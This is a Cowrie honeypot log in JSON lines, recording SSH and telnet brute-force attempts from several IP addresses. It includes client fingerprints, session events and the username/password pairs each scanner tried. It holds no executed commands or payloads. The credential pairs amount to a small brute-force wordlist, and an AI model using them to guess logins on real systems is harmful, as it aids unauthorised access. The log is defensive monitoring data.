{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe123","message":"login attempt [frappe/frappe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:50.103117Z","src_ip":"45.156.87.147","session":"2647f813fb14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:51.186532Z","src_ip":"45.156.87.147","session":"2647f813fb14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40002,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a879a9d2a85","protocol":"ssh","message":"New connection: 45.156.87.147:40002 (10.17.0.5:22) [session: 4a879a9d2a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:55.739968Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:55.747316Z","src_ip":"45.156.87.147","session":"4a879a9d2a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:55.832517Z","src_ip":"45.156.87.147","session":"4a879a9d2a85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"Ab123456","message":"login attempt [alex/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:56.079892Z","src_ip":"45.156.87.147","session":"4a879a9d2a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.37238907814026,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:56.250619Z","src_ip":"128.199.8.54","session":"7bca14a40d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:42:57.167161Z","src_ip":"45.156.87.147","session":"4a879a9d2a85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57648,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a834a754a2","protocol":"ssh","message":"New connection: 45.156.87.147:57648 (10.17.0.5:22) [session: c9a834a754a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:01.760085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:01.800598Z","src_ip":"45.156.87.147","session":"c9a834a754a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:01.847854Z","src_ip":"45.156.87.147","session":"c9a834a754a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lin","password":"123456","message":"login attempt [lin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:02.175365Z","src_ip":"45.156.87.147","session":"c9a834a754a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:03.265791Z","src_ip":"45.156.87.147","session":"c9a834a754a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":48988,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c777199691","protocol":"ssh","message":"New connection: 147.45.211.215:48988 (10.17.0.5:22) [session: b6c777199691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:04.503661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:04.507290Z","src_ip":"147.45.211.215","session":"b6c777199691","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:04.670913Z","src_ip":"147.45.211.215","session":"b6c777199691","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21342134l","message":"login attempt [root/21342134l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:05.163431Z","src_ip":"147.45.211.215","session":"b6c777199691","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":36220,"dst_ip":"10.17.0.5","dst_port":22,"session":"7346bcded634","protocol":"ssh","message":"New connection: 77.94.47.83:36220 (10.17.0.5:22) [session: 7346bcded634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:05.869215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:05.872926Z","src_ip":"77.94.47.83","session":"7346bcded634","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:05.983878Z","src_ip":"77.94.47.83","session":"7346bcded634","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29041994","message":"login attempt [root/29041994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:06.315624Z","src_ip":"77.94.47.83","session":"7346bcded634","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:06.328831Z","src_ip":"147.45.211.215","session":"b6c777199691","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.429480Z","src_ip":"77.94.47.83","session":"7346bcded634","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39404,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6c5f6205719","protocol":"ssh","message":"New connection: 103.77.242.62:39404 (159.203.135.109:22) [session: b6c5f6205719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.442603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.448242Z","src_ip":"103.77.242.62","session":"b6c5f6205719","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.686529Z","src_ip":"103.77.242.62","session":"b6c5f6205719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":57654,"dst_ip":"10.17.0.5","dst_port":22,"session":"528182579d56","protocol":"ssh","message":"New connection: 45.156.87.147:57654 (10.17.0.5:22) [session: 528182579d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.705164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.711065Z","src_ip":"45.156.87.147","session":"528182579d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:07.792350Z","src_ip":"45.156.87.147","session":"528182579d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"nexus","message":"login attempt [nexus/nexus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:08.117215Z","src_ip":"45.156.87.147","session":"528182579d56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100884","message":"login attempt [root/100884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:08.400069Z","src_ip":"103.77.242.62","session":"b6c5f6205719","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:09.206897Z","src_ip":"45.156.87.147","session":"528182579d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:09.638728Z","src_ip":"103.77.242.62","session":"b6c5f6205719","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":40554,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0272bdb82a0","protocol":"ssh","message":"New connection: 45.156.87.147:40554 (10.17.0.5:22) [session: a0272bdb82a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:13.927800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:13.931915Z","src_ip":"45.156.87.147","session":"a0272bdb82a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:14.015061Z","src_ip":"45.156.87.147","session":"a0272bdb82a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linuxuser","password":"1","message":"login attempt [linuxuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:14.263434Z","src_ip":"45.156.87.147","session":"a0272bdb82a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:15.349184Z","src_ip":"45.156.87.147","session":"a0272bdb82a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33112,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c8bc016612a","protocol":"ssh","message":"New connection: 45.156.87.147:33112 (10.17.0.5:22) [session: 6c8bc016612a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:20.087673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:20.090807Z","src_ip":"45.156.87.147","session":"6c8bc016612a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:20.171577Z","src_ip":"45.156.87.147","session":"6c8bc016612a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011988","message":"login attempt [root/28011988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:20.421844Z","src_ip":"45.156.87.147","session":"6c8bc016612a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:21.507112Z","src_ip":"45.156.87.147","session":"6c8bc016612a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48124,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c59b8616ba","protocol":"telnet","message":"New connection: 128.199.8.54:48124 (159.203.135.109:23) [session: 87c59b8616ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:23.532542Z"}
{"eventid":"cowrie.session.closed","duration":101.70795130729675,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:43:23.867623Z","src_ip":"94.23.66.112","session":"d9bb675ad622","protocol":"telnet"}
